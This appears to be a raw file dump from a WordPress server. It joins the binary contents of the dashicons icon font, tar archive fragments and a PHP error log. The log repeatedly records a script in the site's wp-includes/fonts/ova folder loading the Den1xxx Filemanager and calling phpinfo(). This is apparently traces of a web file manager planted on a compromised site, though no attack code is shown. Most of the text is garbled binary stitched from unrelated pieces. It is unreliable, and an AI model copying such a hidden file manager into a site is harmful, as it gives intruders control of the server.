"&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubeclass-wp-font-library.php.php.tar.gz000064400000002227150547077750013432 0ustar00Wm7Wӈ8%%mtMTPU+猽P݅ImRUg!13όJfF*gK%&:62,zHa(D!!g E.HW飦558)[ɳG9ʟ>;Lah\6D?+ ^cE᧼WLC8ů81M`IQ.%5YRNZ -=k oN`L1 GOG{3aqvem cF6^4RS1(EvJCS:\**Hr+ X'2qBԲ(2kU"j#.6ATah!D5QL,y V) Ta D@LꁳjC&bԍ$'_)&J,>0isuGĐ6 #0^Ջ \wH,1wɔjo#^)^֑3%(вЇ m I}IGܑ\G6܄0)O2o̽RށG3-ju8dȤ{ ҰiH`d&< Uj}@Cmc;@g7`#'\a؃n]cʩ]'1 $\QJ 8'#;uK4d&*)=ͫ?F%\u=Xd󐻢c"z0nvU؜[мi{C@k;ֈx4y~n$n4/oJ.0W-ho3mOf+gox3dashicons.svg.tar000064400000367000150547077750010054 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.svg000064400000363306150547065200021000 0ustar00admin-appearanceadmin-collapseadmin-commentsadmin-customizeradmin-genericadmin-homeadmin-linksadmin-mediaadmin-multisiteadmin-networkadmin-pageadmin-pluginsadmin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3admin-siteadmin-toolsadmin-usersairplanealbumalign-centeralign-full-widthalign-leftalign-nonealign-pull-leftalign-pull-rightalign-rightalign-wideamazonanalyticsarchivearrow-down-altarrow-down-alt2arrow-downarrow-left-altarrow-left-alt2arrow-leftarrow-right-altarrow-right-alt2arrow-rightarrow-up-altarrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbellblock-defaultbook-altbookbuddicons-activitybuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groupsbuddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuildingbusinessmanbusinesspersonbusinesswomanbuttoncalculatorcalendar-altcalendarcamera-altcameracarcarrotcartcategorychart-areachart-barchart-linechart-pieclipboardclockcloud-savedcloud-uploadcloudcode-standardscoffeecolor-pickercolumnscontrols-backcontrols-forwardcontrols-pausecontrols-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeoncover-imagedashboarddatabase-adddatabase-exportdatabase-importdatabase-removedatabase-viewdatabasedesktopdismissdownloaddrumstickedit-largeedit-pageediteditor-aligncentereditor-alignlefteditor-alignrighteditor-boldeditor-breakeditor-code-duplicateeditor-codeeditor-contracteditor-customchareditor-expandeditor-helpeditor-indenteditor-insertmoreeditor-italiceditor-justifyeditor-kitchensinkeditor-ltreditor-ol-rtleditor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-wordeditor-quoteeditor-removeformattingeditor-rtleditor-spellcheckeditor-strikethrougheditor-tableeditor-textcoloreditor-uleditor-underlineeditor-unlinkeditor-videoellipsisemail-altemail-alt2emailembed-audioembed-genericembed-photoembed-postembed-videoexcerpt-viewexitexternalfacebook-altfacebookfeedbackfilterflagfoodformat-asideformat-audioformat-chatformat-galleryformat-imageformat-quoteformat-statusformat-videoformsfullscreen-altfullscreen-exit-altgamesgooglegoogleplusgrid-viewgroupshammerheadinghearthiddenhourglasshtmlid-altidimage-cropimage-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-rightimage-rotateimages-altimages-alt2index-cardinfo-outlineinfoinsert-afterinsert-beforeinsertinstagramlaptoplayoutleftrightlightbulblinkedinlist-viewlocation-altlocationlock-duplicatelockmarkermedia-archivemedia-audiomedia-codemedia-defaultmedia-documentmedia-interactivemedia-spreadsheetmedia-textmedia-videomegaphonemenu-altmenu-alt2menu-alt3menumicrophonemigrateminusmoney-altmoneymovenametagnetworkingno-altnoopen-folderpalmtreepaperclippdfperformancepetsphonepinterestplaylist-audioplaylist-videoplugins-checkedplus-altplus-alt2pluspodioportfoliopost-statuspressthisprinterprivacyproductsrandomizeredditredoremoverest-apirsssavedschedulescreenoptionssearchshare-altshare-alt2shareshield-altshieldshortcodeslidessmartphonesmileysortsosspotifystar-emptystar-filledstar-halfstickystoresuperhero-altsuperherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloudtestimonialtext-pagetextthumbs-downthumbs-uptickets-altticketstidetranslationtrashtwitchtwitter-alttwitterundouniversal-access-altuniversal-accessunlockupdate-altupdateuploadvaultvideo-altvideo-alt2video-alt3visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsappwordpress-altwordpressxingyes-altyesyoutubeerror_log000064400000132453150547100020006463 0ustar00[29-Aug-2025 22:34:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 22:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.c[30-Aug-2025 07:24:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:24:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:52:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:53:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 596 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 597 [30-Aug-2025 15:28:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:28:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 669 [30-Aug-2025 21:51:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:51:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:40 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in 